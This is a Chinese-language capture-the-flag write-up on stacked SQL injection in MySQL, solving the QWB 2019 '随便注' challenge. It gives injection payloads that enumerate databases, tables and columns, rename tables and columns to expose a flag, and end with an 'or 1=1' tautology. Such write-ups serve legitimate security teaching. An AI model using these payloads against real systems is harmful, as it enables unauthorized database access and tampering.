堆叠注入

原理

mysql数据库sql语句的默认结束符是以;结尾,在执行多条SQL语句时就要使用结束符隔开,那么在;结束一条sql语句后继续构造下一条语句,是否会一起执行?因此这个想法也就造就了堆叠注入

触发条件

首先肯定是目标存在SQL注入漏洞,然后就是目标要能够同时执行多条语句例如php中的mysqli_multi_query函数。但与之相对应的mysqli_query()函数一次只能执行一条sql语句,所以要想目标存在堆叠注入,在目标主机没有对堆叠注入进行黑名单过滤的情况下必须存在类似于mysqli_multi_query()这样的函数

简单的总结:

-存在SQL注入漏洞

-未过滤;

-能够同时执行多条语句

例题

【强网杯2019】随便注

这个题正常输了之后就会看见这里的过滤

image-20260206214438729

因为这里的select是被ban了的,所以这样要用其他方法

1’;show databases;#

直接用show命令来爆库

image-20260206214749036

然后再来爆表名

1’;show tables;#

这段代码直接这么用就是直接去爆当前库的表名

如果我们要去爆其他库的表就要用比如

1’; show tables fromsupersqli;–+

image-20260206215736995

然后这里再查列名

先查words的

1’;show columns from words;#

这里的varchar(20)就是说这里的类型是字符型的并且最大是20个

image-20260211205903113

然后再爆另外一个

1’;show columns from ```1919810931114514``

这里需要注意的是如果我们在SQL注入时引用的是这种数字类型的就要用反引号进行包裹

image-20260206221347069

然后看见了这样的页面之后我们就需要进行总结了

-题目只有在输入了数字之后才会回显一些对应的信息,也就说这里的类型一定是和数字相关的类型的

-从user里面爆的内容显然表明了它是有int类型的,名字叫做id

-而数字那一串里面是没有的

那么这里就要把flag的名字给改了然后想办法回显

我们就继续更改表名列名

1’;rename table words to words1;rename table 1919810931114514 to words;alter table words change flag id varchar(100)#

    – 修改表名
    rename table old_table to new_table;
    – 或者
    alter table old_table rename to new_table;
    – 修改列名称
    alter table table_name change column old_name new_name varchar(255);
    – 修改字段类型
    alter table table_name modify column column_name varchar(255) default ‘’ COMMENT ‘注释’;

rename table words to words1;
    renmae table 1919810931114514 to words;
    alter table words change flag id varchar(100);

这里对于最后一句有几个点:
image-20260211212122864

这里需要保持flag的类型不变,不然可能会触发报错

检查words表有id字段(字段名匹配,不报错);

把输入的1(字符串)和id字段的内容(flag{123456})做 “宽松匹配”—— 即使类型不一致,也不会报错,只是返回 “无结果”;

当你输入1' or 1=1#时,查询变成where id='1' or 1=1(恒成立),MySQL 会直接返回id字段的所有内容(也就是 flag),完全不管类型是否为 INT。